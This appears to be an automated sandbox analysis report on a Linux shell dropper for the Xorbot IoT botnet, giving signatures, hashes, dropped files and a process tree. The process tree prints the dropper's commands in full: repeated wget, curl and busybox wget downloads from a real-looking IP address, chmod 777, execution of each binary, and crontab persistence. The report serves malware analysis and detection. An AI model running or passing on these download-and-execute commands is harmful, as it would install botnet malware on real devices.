Analysis

  • max time kernel
    122s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/02/2025, 23:12

General

  • Target

    5CAY8_bins.sh

  • Size

    10KB

  • MD5

    5cae212a65109f1a0f1218d70286d4b0

  • SHA1

    1f0fb32f13a4e4ad9463a27c76e9b76591a92408

  • SHA256

    af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c

  • SHA512

    d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe

  • SSDEEP

    192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1297) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/5CAY8_bins.sh
    /tmp/5CAY8_bins.sh
    1⤵
    • Executes dropped EXE
    PID:700
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:704
      • /usr/bin/wget
        wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:710
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:723
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:730
      • /bin/chmod
        chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • File and Directory Permissions Modification
        PID:731
      • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
          PID:732
        • /bin/rm
          rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
              PID:740
            • /bin/rm
              rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
              2⤵
                PID:742
              • /usr/bin/wget
                wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:743
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:744
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:745
              • /bin/chmod
                chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • File and Directory Permissions Modification
                PID:746
              • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                  PID:747
                • /bin/rm
                  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                  2⤵
                    PID:749
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:751
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:757
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:764
                  • /bin/chmod
                    chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:768
                  • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                      PID:770
                    • /bin/rm
                      rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                      2⤵
                        PID:772
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • Writes file to tmp directory
                        PID:774
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:796
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • Writes file to tmp directory
                        PID:804
                      • /bin/chmod
                        chmod 777 JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • File and Directory Permissions Modification
                        PID:805
                      • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        ./JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                          PID:806
                        • /bin/rm
                          rm JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                          2⤵
                            PID:808
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • Writes file to tmp directory
                            PID:809
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • Writes file to tmp directory
                            PID:810
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • Writes file to tmp directory
                            PID:844
                          • /bin/chmod
                            chmod 777 BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • File and Directory Permissions Modification
                            PID:845
                          • /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            ./BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                              PID:846
                            • /bin/rm
                              rm BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                              2⤵
                                PID:848
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • Writes file to tmp directory
                                PID:849
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • Writes file to tmp directory
                                PID:850
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • Writes file to tmp directory
                                PID:851
                              • /bin/chmod
                                chmod 777 BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • File and Directory Permissions Modification
                                PID:852
                              • /tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                ./BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                  PID:853
                                • /bin/rm
                                  rm BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                  2⤵
                                    PID:855
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:856
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.88/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:857
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:858
                                  • /bin/chmod
                                    chmod 777 eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:859
                                  • /tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    ./eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:860
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:862
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:863
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:864
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              • Reads runtime system information
                                              PID:865
                                        • /bin/rm
                                          rm eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                          2⤵
                                            PID:867
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            2⤵
                                              PID:870

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

                                            Filesize

                                            122KB

                                            MD5

                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                            SHA1

                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                            SHA256

                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                            SHA512

                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                          • /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn

                                            Filesize

                                            98KB

                                            MD5

                                            5141342d0df8699fa32a6b066a0c592e

                                            SHA1

                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                            SHA256

                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                            SHA512

                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                          • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /var/spool/cron/crontabs/tmp.POkkUe

                                            Filesize

                                            210B

                                            MD5

                                            de7d830c562288282ea4666e74310b12

                                            SHA1

                                            c86cec3b8e6d4912bb1285622098be8fe860a722

                                            SHA256

                                            9afe62ae07855939e2a70815ad8bdc20269cf5dbc384efd9c1e5f35bd5ced99a

                                            SHA512

                                            3e76f4926ec4d084e861dc803307c125868915d9e2a71f21fd3778c8fa83f65c249dc762b5506af9ef627269ae9f2508432ed9b79a4e657e00d015e2101273ad